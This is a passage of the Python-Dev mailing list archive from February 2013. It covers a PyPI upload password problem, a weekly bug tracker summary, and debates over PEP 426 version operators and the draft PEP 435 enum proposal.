> On 2013-02-22 02:09, Ian Cordasco wrote:
>>
>> On Thu, Feb 21, 2013 at 9:02 PM, MRAB <python at mrabarnett.plus.com> wrote:
>>>
>>> Since the PyPI security notice of 2013-02-15 I've been unable to upload
>>> to PyPI via "setup.py upload".
>>>
>>> I changed my password during the grace period, and have reset it, but
>>> it's still rejected:
>>>
>>> Upload failed (401): Incorrect password
>>>
>>> I can login to PyPI with the password.
>>>
>>> Can anyone suggest what could be wrong?
>>>
>> This is probably better suited to Catalog-sig but you have to edit
>> your credentials in $HOME/.pypirc
>>
> Are any other changes needed in .pypirc, _apart_ from the password?
>

I don't recall needing any other changes.

From python at mrabarnett.plus.com  Fri Feb 22 03:48:43 2013
From: python at mrabarnett.plus.com (MRAB)
Date: Fri, 22 Feb 2013 02:48:43 +0000
Subject: [Python-Dev] Can't upload to PyPI
In-Reply-To: <CAN-Kwu3tEbZRYxx0hprF+gGEMhuGRipczstMNPcqv5VhW11JPw@mail.gmail.com>
References: <5126D1AC.1000102@mrabarnett.plus.com>
	<CAN-Kwu3snAe3SkcbnS2w1v=zye93kkVeaUx=RZGaqJUS+LhQSw@mail.gmail.com>
	<5126D789.6080604@mrabarnett.plus.com>
	<CAN-Kwu3tEbZRYxx0hprF+gGEMhuGRipczstMNPcqv5VhW11JPw@mail.gmail.com>
Message-ID: <5126DC8B.4060909@mrabarnett.plus.com>

On 2013-02-22 02:37, Ian Cordasco wrote:
> On Thu, Feb 21, 2013 at 9:27 PM, MRAB <python at mrabarnett.plus.com> wrote:
>> On 2013-02-22 02:09, Ian Cordasco wrote:
>>>
>>> On Thu, Feb 21, 2013 at 9:02 PM, MRAB <python at mrabarnett.plus.com> wrote:
>>>>
>>>> Since the PyPI security notice of 2013-02-15 I've been unable to upload
>>>> to PyPI via "setup.py upload".
>>>>
>>>> I changed my password during the grace period, and have reset it, but
>>>> it's still rejected:
>>>>
>>>> Upload failed (401): Incorrect password
>>>>
>>>> I can login to PyPI with the password.
>>>>
>>>> Can anyone suggest what could be wrong?
>>>>
>>> This is probably better suited to Catalog-sig but you have to edit
>>> your credentials in $HOME/.pypirc
>>>
>> Are any other changes needed in .pypirc, _apart_ from the password?
>>
> I don't recall needing any other changes.
>
OK, I'll take it to Catalog-sig.

Thanks anyway.


From status at bugs.python.org  Fri Feb 22 18:07:22 2013
From: status at bugs.python.org (Python tracker)
Date: Fri, 22 Feb 2013 18:07:22 +0100 (CET)
Subject: [Python-Dev] Summary of Python tracker Issues
Message-ID: <20130222170722.CE28F56A1C@psf.upfronthosting.co.za>


ACTIVITY SUMMARY (2013-02-15 - 2013-02-22)
Python tracker at http://bugs.python.org/

To view or respond to any of the issues listed below, click on the issue.
Do NOT respond to this message.

Issues counts and deltas:
  open    3866 (+21)
  closed 25186 (+45)
  total  29052 (+66)

Open issues with patches: 1667 


Issues opened (46)
==================

#17212: os.path.isfile() in Python 3.3 sometimes fails
http://bugs.python.org/issue17212  opened by gpoore

#17213: ctypes loads wrong version of C runtime, leading to error mess
http://bugs.python.org/issue17213  opened by dancol

#17214: http.client.HTTPConnection.putrequest encode  error
http://bugs.python.org/issue17214  opened by Mi.Zou

#17216: sparc linux build fails with "could not import runpy module"
http://bugs.python.org/issue17216  opened by uservorname.usernachname

#17217: Fix test discovery for test_format.py on Windows
http://bugs.python.org/issue17217  opened by zach.ware

#17218: support title and description in argparse add_mutually_exclusi
http://bugs.python.org/issue17218  opened by chris.jerdonek

#17219: cross add Python's library directory when building python stan
http://bugs.python.org/issue17219  opened by rpetrov

#17220: Little enhancements of _bootstrap.py
http://bugs.python.org/issue17220  opened by serhiy.storchaka

#17221: Resort Misc/NEWS
http://bugs.python.org/issue17221  opened by serhiy.storchaka

#17222: py_compile.compile() explicitly sets st_mode for written files
http://bugs.python.org/issue17222  opened by Arfrever

#17223: Initializing array.array with unicode type code and buffer seg
http://bugs.python.org/issue17223  opened by mjacob

#17224: can not open idle in python 2.7.3
http://bugs.python.org/issue17224  opened by hayeswu

#17226: libintl should also check for libiconv
http://bugs.python.org/issue17226  opened by alanh

#17227: devguide: buggy heading numbers
http://bugs.python.org/issue17227  opened by pitrou

#17229: unable to discover preferred HTTPConnection class
http://bugs.python.org/issue17229  opened by samwyse

#17231: Mark __del__ not being called in cycles as an impl detail
http://bugs.python.org/issue17231  opened by fijall

#17232: Improve -O docs
http://bugs.python.org/issue17232  opened by fijall

#17233: http.client header debug output format
http://bugs.python.org/issue17233  opened by Kim.Gr??sman

#17234: python-2.7.3-r3: crash in visit_decref()
http://bugs.python.org/issue17234  opened by mmokrejs

#17237: m68k aligns on 16bit boundaries.
http://bugs.python.org/issue17237  opened by alanh

#17238: Enhance import statement completion
http://bugs.python.org/issue17238  opened by Ramchandra Apte

#17239: XML vulnerabilities in Python
http://bugs.python.org/issue17239  opened by christian.heimes

#17240: argparse: subcommand name and arity
http://bugs.python.org/issue17240  opened by Thibault.Kruse

#17243: The changes made for issue 4074 should be documented
http://bugs.python.org/issue17243  opened by r.david.murray

#17244: py_compile.compile() fails to raise exceptions when writing of
http://bugs.python.org/issue17244  opened by Arfrever

#17245: ctypes libffi needs to align the x86 stack to 16 bytes
http://bugs.python.org/issue17245  opened by gregory.p.smith

#17246: cgitb fails when frame arguments are deleted (due to inspect b
http://bugs.python.org/issue17246  opened by Andrew.Lutomirski

#17247: int and float should detect inconsistent format strings
http://bugs.python.org/issue17247  opened by christian.heimes

#17249: reap threads in test_capi
http://bugs.python.org/issue17249  opened by ezio.melotti

#17250: argparse: Issue 15906 patch; positional with nargs='*' and str
http://bugs.python.org/issue17250  opened by paul.j3

#17251: LWPCookieJar load() set domain_specifed wrong
http://bugs.python.org/issue17251  opened by B. Kyven

#17254: add thai encoding aliases to encodings.aliases
http://bugs.python.org/issue17254  opened by fomcl at yahoo.com

#17258: multiprocessing.connection challenge implicitly uses MD5
http://bugs.python.org/issue17258  opened by dmalcolm

#17259: locale.format() rounding is not reliable for floats
http://bugs.python.org/issue17259  opened by Francis.Nimick

#17261: multiprocessing.manager BaseManager cannot return proxies from
http://bugs.python.org/issue17261  opened by Wilson.Harron

#17263: crash when tp_dealloc allows other threads
http://bugs.python.org/issue17263  opened by Albert.Zeyer

#17264: Update Building C and C++ Extensions with distutils documentat
http://bugs.python.org/issue17264  opened by berker.peksag

#17267: datetime.time support for '+' and 'now'
http://bugs.python.org/issue17267  opened by ronaldoussoren

#17268: Context managers written as C types no longer work in Python 2
http://bugs.python.org/issue17268  opened by lemburg

#17269: getaddrinfo segfaults on OS X when provided with invalid argum
http://bugs.python.org/issue17269  opened by tibbe

#17272: request.full_url: unexpected results on assignment
http://bugs.python.org/issue17272  opened by dbrecht

#17273: multiprocessing.pool.Pool task/worker handlers are not fork sa
http://bugs.python.org/issue17273  opened by abn

#17274: distutils silently omits relative symlinks
http://bugs.python.org/issue17274  opened by fberger

#17275: io.BufferedWriter shows wrong type in argument error message
http://bugs.python.org/issue17275  opened by mjacob

#17276: HMAC: deprecate default hash
http://bugs.python.org/issue17276  opened by christian.heimes

#17277: incorrect line numbers in backtrace after removing a trace fun
http://bugs.python.org/issue17277  opened by xdegaye



Most recent 15 issues with no replies (15)
==========================================

#17277: incorrect line numbers in backtrace after removing a trace fun
http://bugs.python.org/issue17277

#17274: distutils silently omits relative symlinks
http://bugs.python.org/issue17274

#17261: multiprocessing.manager BaseManager cannot return proxies from
http://bugs.python.org/issue17261

#17251: LWPCookieJar load() set domain_specifed wrong
http://bugs.python.org/issue17251

#17250: argparse: Issue 15906 patch; positional with nargs='*' and str
http://bugs.python.org/issue17250

#17246: cgitb fails when frame arguments are deleted (due to inspect b
http://bugs.python.org/issue17246

#17245: ctypes libffi needs to align the x86 stack to 16 bytes
http://bugs.python.org/issue17245

#17243: The changes made for issue 4074 should be documented
http://bugs.python.org/issue17243

#17239: XML vulnerabilities in Python
http://bugs.python.org/issue17239

#17238: Enhance import statement completion
http://bugs.python.org/issue17238

#17233: http.client header debug output format
http://bugs.python.org/issue17233

#17229: unable to discover preferred HTTPConnection class
http://bugs.python.org/issue17229

#17224: can not open idle in python 2.7.3
http://bugs.python.org/issue17224

#17219: cross add Python's library directory when building python stan
http://bugs.python.org/issue17219

#17218: support title and description in argparse add_mutually_exclusi
http://bugs.python.org/issue17218



Most recent 15 issues waiting for review (15)
=============================================

#17275: io.BufferedWriter shows wrong type in argument error message
http://bugs.python.org/issue17275

#17272: request.full_url: unexpected results on assignment
http://bugs.python.org/issue17272

#17269: getaddrinfo segfaults on OS X when provided with invalid argum
http://bugs.python.org/issue17269

#17264: Update Building C and C++ Extensions with distutils documentat
http://bugs.python.org/issue17264

#17258: multiprocessing.connection challenge implicitly uses MD5
http://bugs.python.org/issue17258

#17249: reap threads in test_capi
http://bugs.python.org/issue17249

#17245: ctypes libffi needs to align the x86 stack to 16 bytes
http://bugs.python.org/issue17245

#17239: XML vulnerabilities in Python
http://bugs.python.org/issue17239

#17227: devguide: buggy heading numbers
http://bugs.python.org/issue17227

#17223: Initializing array.array with unicode type code and buffer seg
http://bugs.python.org/issue17223

#17221: Resort Misc/NEWS
http://bugs.python.org/issue17221

#17220: Little enhancements of _bootstrap.py
http://bugs.python.org/issue17220

#17219: cross add Python's library directory when building python stan
http://bugs.python.org/issue17219

#17217: Fix test discovery for test_format.py on Windows
http://bugs.python.org/issue17217

#17211: pkgutil.iter_modules and walk_packages should return a namedtu
http://bugs.python.org/issue17211



Top 10 most discussed issues (10)
=================================

#17237: m68k aligns on 16bit boundaries.
http://bugs.python.org/issue17237  25 msgs

#15767: add ImportNotFoundError
http://bugs.python.org/issue15767  18 msgs

#14468: Update cloning guidelines in devguide
http://bugs.python.org/issue14468  11 msgs

#17222: py_compile.compile() explicitly sets st_mode for written files
http://bugs.python.org/issue17222  11 msgs

#17221: Resort Misc/NEWS
http://bugs.python.org/issue17221   9 msgs

#17227: devguide: buggy heading numbers
http://bugs.python.org/issue17227   7 msgs

#14905: zipimport.c needs to support namespace packages when no 'direc
http://bugs.python.org/issue14905   5 msgs

#15004: add weakref support to types.SimpleNamespace
http://bugs.python.org/issue15004   5 msgs

#16612: Integrate "Argument Clinic" specialized preprocessor into CPyt
http://bugs.python.org/issue16612   5 msgs

#17177: Document/deprecate imp
http://bugs.python.org/issue17177   5 msgs



Issues closed (43)
==================

#6138: './configure; make install' fails in setup.py step if .pydistu
http://bugs.python.org/issue6138  closed by ned.deily

#6541: SpooledTemporaryFile breakages
http://bugs.python.org/issue6541  closed by r.david.murray

#7469: Design and History FAQ entry on Floating Point does not mentio
http://bugs.python.org/issue7469  closed by r.david.murray

#7842: py_compile.compile SyntaxError output
http://bugs.python.org/issue7842  closed by r.david.murray

#7963: Misleading error message from object(arg)
http://bugs.python.org/issue7963  closed by r.david.murray

#7981: False failure with doctest NORMALIZE_WHITESPACE in 3.1.1
http://bugs.python.org/issue7981  closed by r.david.murray

#8745: zipimport is a bit slow
http://bugs.python.org/issue8745  closed by serhiy.storchaka

#8930: messed up formatting after reindenting
http://bugs.python.org/issue8930  closed by r.david.murray

#9669: regexp: zero-width matches in MIN_UNTIL
http://bugs.python.org/issue9669  closed by serhiy.storchaka

#13153: IDLE crashes when pasting non-BMP unicode char on Py3
http://bugs.python.org/issue13153  closed by serhiy.storchaka

#13169: Regular expressions with 0 to 65536 repetitions raises Overflo
http://bugs.python.org/issue13169  closed by serhiy.storchaka

#13700: imaplib.IMAP4.authenticate authobject does not work correctly 
http://bugs.python.org/issue13700  closed by r.david.murray

#15003: make PyNamespace_New() public
http://bugs.python.org/issue15003  closed by eric.snow

#15022: types.SimpleNamespace needs to be picklable
http://bugs.python.org/issue15022  closed by eric.snow

#17035: Use new style classes in {class, static}method examples
http://bugs.python.org/issue17035  closed by ezio.melotti

#17143: trace.py uses _warn without importing it
http://bugs.python.org/issue17143  closed by ezio.melotti

#17163: Fix test discovery for test_file.py
http://bugs.python.org/issue17163  closed by ezio.melotti

#17175: update PEP 430
http://bugs.python.org/issue17175  closed by ezio.melotti

#17178: Clarify empty iterable result in any/all.__doc__, as in manual
http://bugs.python.org/issue17178  closed by ezio.melotti

#17184: re.VERBOSE doesn't respect whitespace in '( ?P<foo>...)'
http://bugs.python.org/issue17184  closed by ezio.melotti

#17193: Use binary prefixes
http://bugs.python.org/issue17193  closed by serhiy.storchaka

#17203: add long option names to unittest discovery docs
http://bugs.python.org/issue17203  closed by chris.jerdonek

#17208: add note/warning about daemon threads
http://bugs.python.org/issue17208  closed by pitrou

#17215: documentation misprints
http://bugs.python.org/issue17215  closed by asvetlov

#17225: JSON decoder reports wrong column number on first line
http://bugs.python.org/issue17225  closed by serhiy.storchaka

#17228: Building without PYMALLOC fails
http://bugs.python.org/issue17228  closed by python-dev

#17230: when forking, buffered output is not flushed first.
http://bugs.python.org/issue17230  closed by gregory.p.smith

#17235: "make sharedinstall" ignores ./configure settings
http://bugs.python.org/issue17235  closed by ned.deily

#17236: format_spec for sequence joining
http://bugs.python.org/issue17236  closed by r.david.murray

#17241: Python-2.3.5.exe file possibly corrupt
http://bugs.python.org/issue17241  closed by skrah

#17242: Fix code highlight in devguide/docquality.rst
http://bugs.python.org/issue17242  closed by ezio.melotti

#17248: test_posix chown -1, 0 tests fail if user has group root
http://bugs.python.org/issue17248  closed by serhiy.storchaka

#17252: Latin Capital Letter I with Dot Above
http://bugs.python.org/issue17252  closed by pitrou

#17253: stdin.readline behaviour different between IDLE and the consol
http://bugs.python.org/issue17253  closed by serhiy.storchaka

#17255: test_any and test_all should validate short-circuiting behavio
http://bugs.python.org/issue17255  closed by ezio.melotti

#17256: code example in C API docsshould be highlighted
http://bugs.python.org/issue17256  closed by ezio.melotti

#17257: re module shows unexpected non-greedy behavior when using grou
http://bugs.python.org/issue17257  closed by Hendrik.Lemelson

#17260: Seg fault when calling unicode() on old style object in virtua
http://bugs.python.org/issue17260  closed by ned.deily

#17262: OrderedDict not ordering properly when int and float keys are 
http://bugs.python.org/issue17262  closed by benjamin.peterson

#17265: Fix code highlight in the string.Template example
http://bugs.python.org/issue17265  closed by ezio.melotti

#17266: Idle + tcl 8.6.0 Can't convert '_tkinter.Tcl_Obj' object to st
http://bugs.python.org/issue17266  closed by serhiy.storchaka

#17270: make the section header doc convention more clearly optional
http://bugs.python.org/issue17270  closed by chris.jerdonek

#17271: NamedTemporaryFile expects bytes, not string in documentation 
http://bugs.python.org/issue17271  closed by ezio.melotti

From chris at simplistix.co.uk  Fri Feb 22 20:29:26 2013
From: chris at simplistix.co.uk (Chris Withers)
Date: Fri, 22 Feb 2013 19:29:26 +0000
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <510E65A9.90600@palladion.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CADiSq7c5oDRRYG3VnPOmO1bLtWjsAS7GDHK0OD_AaTHk4Q1R_A@mail.gmail.com>
	<20130203140901.678b32b6@pitrou.net> <510E65A9.90600@palladion.com>
Message-ID: <5127C716.8030804@simplistix.co.uk>

On 03/02/2013 13:27, Tres Seaver wrote:
>> As for setuptools (as opposed to distribute), I don't think we should
>> care anymore.
>
> Yes, you need to care.  It is *still* true today that distribute and
> setuptools remain largely interchangeable, which is the only thing that
> makes distribute viable, in the ecosystem sense.

+ sys.maxint.

I was very unpopular with the attitude I took to distribute when it 
arrived, including it's poor choice of name ;-)

Now, I know my tone was bad, but we are where I feared we're be, to 
paraphrase Ned Batchelder's "two problems" job page: I had a problem 
with setuptools, so I thought I'd create distribute, now I have two 
problems...

I'm excited by wheel and I still have vague hopes that one day the 
stdlib might be a collection of packages shipped as a "big distribution" 
for those who need it and separately upgradeable for the rest of us...

...but let's make sure we keep caring about the tools that people really 
use, which includes both setuptools and distribute.

...or deliberately break them both, at the same time as we fix the 
security issues, and provide a workable alternative. People will quickly 
migrate ;-)

cheers,

Chris

-- 
Simplistix - Content Management, Batch Processing & Python Consulting
             - http://www.simplistix.co.uk

From ezio.melotti at gmail.com  Sat Feb 23 05:24:04 2013
From: ezio.melotti at gmail.com (Ezio Melotti)
Date: Sat, 23 Feb 2013 06:24:04 +0200
Subject: [Python-Dev] [Python-checkins] peps: PEP 426: replace implied
 'version starts with' with new ~= operator
Message-ID: <CACBhJdH+3GHb1QPgnEEsOxcLu3MZBqLvmK98R=D9SJR7K7yi9w@mail.gmail.com>

Hi,

On Sat, Feb 23, 2013 at 5:33 AM, daniel.holth
<python-checkins at python.org> wrote:
> http://hg.python.org/peps/rev/de69fe61f300
> changeset:   4764:de69fe61f300
> user:        Daniel Holth <dholth at fastmail.fm>
> date:        Fri Feb 22 22:33:09 2013 -0500
> summary:
>   PEP 426: replace implied 'version starts with' with new ~= operator
>

I haven't seen any discussion about this, but FWIW CSS [0] and JQuery
[1] use ^= for this purpose.
^ also indicates the beginning of the string in regular expressions
(this is why ^= was chosen for CSS/JQuery).
They also use ~= to indicate "attribute contains word" [0][2].
Perl also has a similar-looking operator [3] (=~) used to test a regex match.

Best Regards,
Ezio Melotti

[0]: http://www.w3.org/TR/selectors/#selectors
[1]: http://api.jquery.com/attribute-starts-with-selector/
[2]: http://api.jquery.com/attribute-contains-word-selector/
[3]: http://perldoc.perl.org/perlop.html#Binding-Operators

From ncoghlan at gmail.com  Sat Feb 23 11:29:48 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 23 Feb 2013 20:29:48 +1000
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <5127C716.8030804@simplistix.co.uk>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CADiSq7c5oDRRYG3VnPOmO1bLtWjsAS7GDHK0OD_AaTHk4Q1R_A@mail.gmail.com>
	<20130203140901.678b32b6@pitrou.net> <510E65A9.90600@palladion.com>
	<5127C716.8030804@simplistix.co.uk>
Message-ID: <CADiSq7fiTcN_J=dQFDyrP5a9FcrWXBTwr=6Ugra-q7-a69dyuw@mail.gmail.com>

On Sat, Feb 23, 2013 at 5:29 AM, Chris Withers <chris at simplistix.co.uk> wrote:
> ...but let's make sure we keep caring about the tools that people really
> use, which includes both setuptools and distribute.

The lack of a meaningful transition plan is where I think we fell down
with PEP 345 & 386, and is also the main reason I've postponed
accepting PEP 426 (PJE and others pointed out a couple of major gaps
that either made it difficult to update pkg_resources to read the new
format, or else made it difficult to generate metadata that existing
releases of pkg_resources would understand).

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From ncoghlan at gmail.com  Sat Feb 23 12:06:00 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 23 Feb 2013 21:06:00 +1000
Subject: [Python-Dev] [Python-checkins] peps: PEP 426: replace implied
 'version starts with' with new ~= operator
In-Reply-To: <CACBhJdH+3GHb1QPgnEEsOxcLu3MZBqLvmK98R=D9SJR7K7yi9w@mail.gmail.com>
References: <CACBhJdH+3GHb1QPgnEEsOxcLu3MZBqLvmK98R=D9SJR7K7yi9w@mail.gmail.com>
Message-ID: <CADiSq7cRz8RoDfLC3NoUiXdw28cTWZkzcv89Dw9X1_ds-1NudA@mail.gmail.com>

On Sat, Feb 23, 2013 at 2:24 PM, Ezio Melotti <ezio.melotti at gmail.com> wrote:
> Hi,
>
> On Sat, Feb 23, 2013 at 5:33 AM, daniel.holth
> <python-checkins at python.org> wrote:
>> http://hg.python.org/peps/rev/de69fe61f300
>> changeset:   4764:de69fe61f300
>> user:        Daniel Holth <dholth at fastmail.fm>
>> date:        Fri Feb 22 22:33:09 2013 -0500
>> summary:
>>   PEP 426: replace implied 'version starts with' with new ~= operator
>>
>
> I haven't seen any discussion about this, but FWIW CSS [0] and JQuery
> [1] use ^= for this purpose.
> ^ also indicates the beginning of the string in regular expressions
> (this is why ^= was chosen for CSS/JQuery).
> They also use ~= to indicate "attribute contains word" [0][2].
> Perl also has a similar-looking operator [3] (=~) used to test a regex match.

Daniel is a fan of this syntax, but I think it is inferior to the
implied approach, so don't expect it to survive to any accepted
version of the PEP :)

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From vinay_sajip at yahoo.co.uk  Sat Feb 23 15:57:33 2013
From: vinay_sajip at yahoo.co.uk (Vinay Sajip)
Date: Sat, 23 Feb 2013 14:57:33 +0000 (UTC)
Subject: [Python-Dev]
	=?utf-8?q?=5BPython-checkins=5D_peps=3A_PEP_426=3A_r?=
	=?utf-8?q?eplace_implied_=27version_starts_with=27_with_new_=7E=3D?=
	=?utf-8?q?_operator?=
References: <CACBhJdH+3GHb1QPgnEEsOxcLu3MZBqLvmK98R=D9SJR7K7yi9w@mail.gmail.com>
	<CADiSq7cRz8RoDfLC3NoUiXdw28cTWZkzcv89Dw9X1_ds-1NudA@mail.gmail.com>
Message-ID: <loom.20130223T155320-390@post.gmane.org>

Nick Coghlan <ncoghlan <at> gmail.com> writes:

> Daniel is a fan of this syntax, but I think it is inferior to the
> implied approach, so don't expect it to survive to any accepted
> version of the PEP :)

Another thing against ~= is that it isn't valid Python syntax. It's not a deal-
breaker, but it does mean that you can't e.g. use the ast module in the
implementation. This might be a factor if the mini-language ever grows (as it
recently did, adding parentheses).

Regards,

Vinay Sajip


From stefan at bytereef.org  Sat Feb 23 16:02:31 2013
From: stefan at bytereef.org (Stefan Krah)
Date: Sat, 23 Feb 2013 16:02:31 +0100
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <3ZCsSP0rSXzQZS@mail.python.org>
References: <3ZCsSP0rSXzQZS@mail.python.org>
Message-ID: <20130223150231.GA20921@sleipnir.bytereef.org>

eli.bendersky <python-checkins at python.org> wrote:
> +Ordered comparisons between enumeration values are *not* supported.  Enums are
> +not integers!

Hmm. I think this limits interoperation with C libraries and prototyping
C code.

Actually all I want from a Python enum is to be like a C enum with symbolic
representations for the values.


Stefan Krah




From solipsis at pitrou.net  Sat Feb 23 16:06:45 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sat, 23 Feb 2013 16:06:45 +0100
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
Message-ID: <20130223160645.124f4b77@pitrou.net>

On Sat, 23 Feb 2013 16:02:31 +0100
Stefan Krah <stefan at bytereef.org> wrote:
> eli.bendersky <python-checkins at python.org> wrote:
> > +Ordered comparisons between enumeration values are *not* supported.  Enums are
> > +not integers!
> 
> Hmm. I think this limits interoperation with C libraries and prototyping
> C code.

Agreed, this is a deal-breaker IMO. I'd actually argue that enums are
not terribly useful apart from interacting with C constants.

Regards

Antoine.



From ncoghlan at gmail.com  Sat Feb 23 16:23:24 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 24 Feb 2013 01:23:24 +1000
Subject: [Python-Dev] [Python-checkins] peps: PEP 426: replace implied
 'version starts with' with new ~= operator
In-Reply-To: <loom.20130223T155320-390@post.gmane.org>
References: <CACBhJdH+3GHb1QPgnEEsOxcLu3MZBqLvmK98R=D9SJR7K7yi9w@mail.gmail.com>
	<CADiSq7cRz8RoDfLC3NoUiXdw28cTWZkzcv89Dw9X1_ds-1NudA@mail.gmail.com>
	<loom.20130223T155320-390@post.gmane.org>
Message-ID: <CADiSq7e8B1Po5u=bTUPPtP7DXm5M0=spuhEALwQRngLu-c5g0w@mail.gmail.com>

On Sun, Feb 24, 2013 at 12:57 AM, Vinay Sajip <vinay_sajip at yahoo.co.uk> wrote:
> Nick Coghlan <ncoghlan <at> gmail.com> writes:
>
>> Daniel is a fan of this syntax, but I think it is inferior to the
>> implied approach, so don't expect it to survive to any accepted
>> version of the PEP :)
>
> Another thing against ~= is that it isn't valid Python syntax. It's not a deal-
> breaker, but it does mean that you can't e.g. use the ast module in the
> implementation. This might be a factor if the mini-language ever grows (as it
> recently did, adding parentheses).

Daniel persuaded me that the *semantics* of Ruby's ~> pessimistic
version comparison operator are highly desirable. I liked them so
much, I'm now proposing them as the default behaviour of version
specifiers. Thus, the "~=" operator goes away, and you can use "==" to
explicitly request the previously proposed default behaviour, or just
append an extra ".0" if you're more pessimistic about a dependency's
backwards compatibility policies than the default interpretation.

This and other aspects will be brought up on distutils-sig at some
point not too far in the future :)

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From ncoghlan at gmail.com  Sat Feb 23 16:31:09 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 24 Feb 2013 01:31:09 +1000
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130223160645.124f4b77@pitrou.net>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130223160645.124f4b77@pitrou.net>
Message-ID: <CADiSq7c3ktN_39RD6hjJz_7UAbLzKArCHhdKG8-jujVMFUcBDA@mail.gmail.com>

On Sun, Feb 24, 2013 at 1:06 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> On Sat, 23 Feb 2013 16:02:31 +0100
> Stefan Krah <stefan at bytereef.org> wrote:
>> eli.bendersky <python-checkins at python.org> wrote:
>> > +Ordered comparisons between enumeration values are *not* supported.  Enums are
>> > +not integers!
>>
>> Hmm. I think this limits interoperation with C libraries and prototyping
>> C code.
>
> Agreed, this is a deal-breaker IMO. I'd actually argue that enums are
> not terribly useful apart from interacting with C constants.

I've argued in the past that we should have a "Named Value" mechanism
*before* we have a proposal to group named constants in some fashion
(such as sequential enums, or binary flag groups). It never gained
much traction, even though it could be more useful in many cases
(think things like being able to tag a file descriptor with the repr
of the object it belongs to)

After seeing this checkin, I also suggested to Eli and Barry that any
new PEP on this topic should come with a survey of *existing*
pseudo-enums in the standard library, and an explanation of how the
proposal can be used to make those either easier to debug when they
show up in error messages or otherwise make it easier to detect when
you've made a mistake while working with them.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From rdmurray at bitdance.com  Sat Feb 23 16:57:56 2013
From: rdmurray at bitdance.com (R. David Murray)
Date: Sat, 23 Feb 2013 10:57:56 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
	435 (enum). The name is not important at the moment, as
In-Reply-To: <CADiSq7c3ktN_39RD6hjJz_7UAbLzKArCHhdKG8-jujVMFUcBDA@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130223160645.124f4b77@pitrou.net>
	<CADiSq7c3ktN_39RD6hjJz_7UAbLzKArCHhdKG8-jujVMFUcBDA@mail.gmail.com>
Message-ID: <20130223155802.06C7B250BD6@webabinitio.net>

On Sun, 24 Feb 2013 01:31:09 +1000, Nick Coghlan <ncoghlan at gmail.com> wrote:
> On Sun, Feb 24, 2013 at 1:06 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> > On Sat, 23 Feb 2013 16:02:31 +0100
> > Stefan Krah <stefan at bytereef.org> wrote:
> >> eli.bendersky <python-checkins at python.org> wrote:
> >> > +Ordered comparisons between enumeration values are *not* supported.  Enums are
> >> > +not integers!
> >>
> >> Hmm. I think this limits interoperation with C libraries and prototyping
> >> C code.
> >
> > Agreed, this is a deal-breaker IMO. I'd actually argue that enums are
> > not terribly useful apart from interacting with C constants.
> 
> I've argued in the past that we should have a "Named Value" mechanism
> *before* we have a proposal to group named constants in some fashion
> (such as sequential enums, or binary flag groups). It never gained
> much traction, even though it could be more useful in many cases
> (think things like being able to tag a file descriptor with the repr
> of the object it belongs to)
> 
> After seeing this checkin, I also suggested to Eli and Barry that any
> new PEP on this topic should come with a survey of *existing*
> pseudo-enums in the standard library, and an explanation of how the
> proposal can be used to make those either easier to debug when they
> show up in error messages or otherwise make it easier to detect when
> you've made a mistake while working with them.

See also http://bugs.python.org/issue16801#msg178542 for another use
case for named values.

I've seen an awful lot of code that uses global variables or class
attributes primarily to get name validation on constant values, and I
think all of that code would be a prime candidate for using Named Values.
Some of them are also enum-like, but many of them are not.  So I'm with
Nick on this one.

--David

From eliben at gmail.com  Sat Feb 23 17:27:50 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Sat, 23 Feb 2013 08:27:50 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130223155802.06C7B250BD6@webabinitio.net>
References: <3ZCsSP0rSXzQZS@mail.python.org>
